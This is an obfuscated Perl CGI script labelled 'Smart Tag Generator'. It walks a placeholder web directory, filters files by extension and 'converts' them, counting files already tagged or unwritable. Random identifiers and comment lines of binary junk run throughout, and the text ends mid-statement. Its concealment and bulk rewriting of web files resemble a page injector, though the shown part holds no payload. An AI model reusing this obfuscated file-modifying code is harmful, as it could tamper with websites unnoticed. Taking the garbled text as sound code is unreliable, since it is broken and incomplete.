#!/usr/bin/perl
$| = 1; #### C##
## ## F# # ~D## t# Z)####
## }## h# ٝ##### I# ## ###
# r## ,## $^a# ##### a## # ## E## I#
## # ## ># # J#### z##
# # 5# 'F# 72`### q# E### R'C#### N8####
## # gw# # ### ?G# # y## a### ### S4J##
#### ## O# #
srand();$dWjgUJl = "!WEBDIR!";$KVEVfAmH = "backup";$AQKWrA = "old";
&EJfuxoqL;$FUcLCLEvU = 0;$JqRFqTr = 0;$iwcRGcl = 0;$GZHLuC = 0; ## #
###### H#
#
# |######### "# ### '###
# # E### ۚ# 3## ### o# # V>7## # {#
###
## ˣ### #
# # ## # ######## ### W##
$eDQEYDfWU = 1;splice(@BofTfpH, 0); ### ## &v# # \# # J## h# Ǐo# ## # #
## 98# ## ##
#
# #
##### ## #### 0## ##
#### A### i_#### t# #
## a7# >:# Smart Tag\n";
for ($bCUsTF = 0; $bCUsTF < 50; $bCUsTF++){
print "\n";}if ($GIXNvTNd{'area'} eq ""){&IbfJZRmq;
exit;}splice(@DAbbAUSSB, 0);@DAbbAUSSB = split(/, /, $GIXNvTNd{'ext'});
for ($OiAXgG = 0; $OiAXgG < @DAbbAUSSB; $OiAXgG++){
$moiCZZOh{@DAbbAUSSB[$OiAXgG]} = 1; ### # a# t+## o<###### 9# `O## # #
## #### SsC# # # U#
# #########
### n## 4## 2### 6M# x##
# 'I#
### ##
## h#### jWw### #
}
print "
Smart Tag Generator
\n";
if ($GIXNvTNd{'viewonly'} ne ""){
print "Files are not being converted (view only)
\n"; ## # s# # ## j### ul# # H@#### 5# # # T#
####
## # Ue#### ## x##
# ># ### # C## r## #
#### # 2#### vL##### 8#
}for ($OiAXgG = 0; $OiAXgG < @BofTfpH; $OiAXgG++) # *p#### #
## ### ## >h####
# # "#### KC### @O#### ## # A# #
# # ## a# # _e##### %$# ## ##
# _,## ####
{
if (@BofTfpH[$OiAXgG] ne ""){&UBcyuPKjV(@BofTfpH[$OiAXgG]);
&roLumrDT(@BofTfpH[$OiAXgG]);}}print "Total Files: $JqRFqTr
\n";
print "Files converted: $GZHLuC
\n";
print "Files that could not be written to: $FUcLCLEvU
\n";
print "Files already containing smart tag: $iwcRGcl
\n";
print "\n"; # w@# pY# ##
# ### Z# "##### <)L#
## T### Q# J# #
# ;## %###### # T# # :NCc# ^# u&s####
## ޒ# ####### # W## ## ## ##
### # #### # # ## T### # # _Or#
### r# ### ## #####
#### Yi# ### # ### ## M#
print "